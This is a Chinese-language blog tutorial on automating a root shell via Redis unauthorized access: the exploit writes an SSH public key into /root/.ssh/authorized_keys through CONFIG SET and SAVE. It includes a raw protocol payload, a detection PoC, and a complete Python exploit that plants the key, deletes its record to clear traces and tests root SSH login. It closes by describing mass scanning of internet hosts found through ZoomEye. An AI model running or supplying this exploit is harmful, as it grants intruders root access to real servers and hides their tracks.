Redis Getshell自动化实践之SSH key
不了解该漏洞建议先看这个文章 Redis 未授权访问配合 SSH key 文件利用分析
漏洞利用流程
1 生成一对用于ssh验证的密钥对
2 通过redis未授权访问漏洞,向redis插入一条记录,内容为已生成的公钥
3 通过redis数据导出功能,将含有公钥的数据导出到/root/.ssh/authorized_keys
4 使用自己的主机,通过ssh私钥与受害机进行匹配并登入
自动化的限制
用exp做自动化getshell的限制主要有以下几点:
1 以root用户运行Redis,且未设置安全策略
2 Linux,port 22,且无防火墙
3 ssh配置支持该登录方式
编写exp
协议分析及Payload构造
发送一条info命令
xy@kali:~$ redis-cli -h 42.62.xxx.xxx
42.62.xxx.xxx:6379> info
# Server
redis_version:3.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:738a2bf67b2f8a28
redis_mode:standalone
使用wireshark抓包分析协议格式 构造出payload
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
这样就能检测出未授权访问漏洞了, 例如这个Seebug提供的PoC:
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
我们可以仿造这个思路编写exp,只需要抓取->分析->按规则构造各个必要的请求包,并判断返回字段,像这样:
利用Python-redis库
这就比较简单了.
首先判断是否存在未授权访问漏洞
r = redis.Redis(host=ip, port=port, db=0)
if 'redis_version' in r.info():
然后执行redis命令,将公钥写入目标位置
r.set(randomString(10), '\n\n' + public_key + '\n\n')
r.config_set('dir', '/root/.ssh')
r.config_set('dbfilename', 'authorized_keys')
r.save()
之前要判断目标22端口是否开放
def checkPortTcp(target, port):
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(10)
try:
sk.connect((target, port))
return True
except Exception:
return False
最后对ssh做连接测试
def testConnect(ip, port=22):
try:
s = paramiko.SSHClient()
s.load_system_host_keys()
s.connect(ip, port, username='root', pkey=private_key, timeout=10)
s.close()
return True
except Exception, e:
if type(e) == SSHException:
return True
return False
完整exp代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T
"""
redis getshell expliot (ssh authorized_keys)
"""
import redis
import paramiko
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import checkPortTcp
from paramiko.ssh_exception import SSHException
public_key = 'ssh-rsa ====='
private_key = """
-----BEGIN RSA PRIVATE KEY-----
=====
-----END RSA PRIVATE KEY-----
"""
import time
def poc(url):
url = host2IP(url)
ip = url.split(':')[0]
port = int(url.split(':')[-1]) if ':' in url else 6379
try:
if not checkPortTcp(ip, 22):
return False
r = redis.Redis(host=ip, port=port, db=0)
if 'redis_version' in r.info():
key = randomString(10)
r.set(key, '\n\n' + public_key + '\n\n')
r.config_set('dir', '/root/.ssh')
r.config_set('dbfilename', 'authorized_keys')
r.save()
r.delete(key) # 清除痕迹
r.config_set('dir', '/tmp')
time.sleep(5)
if testConnect(ip, 22):
return True
except Exception, e:
# print e
return False
return False
def testConnect(ip, port=22):
try:
s = paramiko.SSHClient()
s.load_system_host_keys()
s.connect(ip, port, username='root', pkey=private_key, timeout=10)
s.close()
return True
except Exception, e:
if type(e) == SSHException:
return True
return False
批量检测 从ZoomEye获取100个结果并使用我们编写的脚本进行验证,效果如下 这里paramiko的ssh连接有个问题,并没有做到100%无误报.接下来可以手动测试一下是否可以登入ssh
事实上跑了一定数据之后,觉得收获不如预期,毕竟这个漏洞可以灵活的控制的因素太多.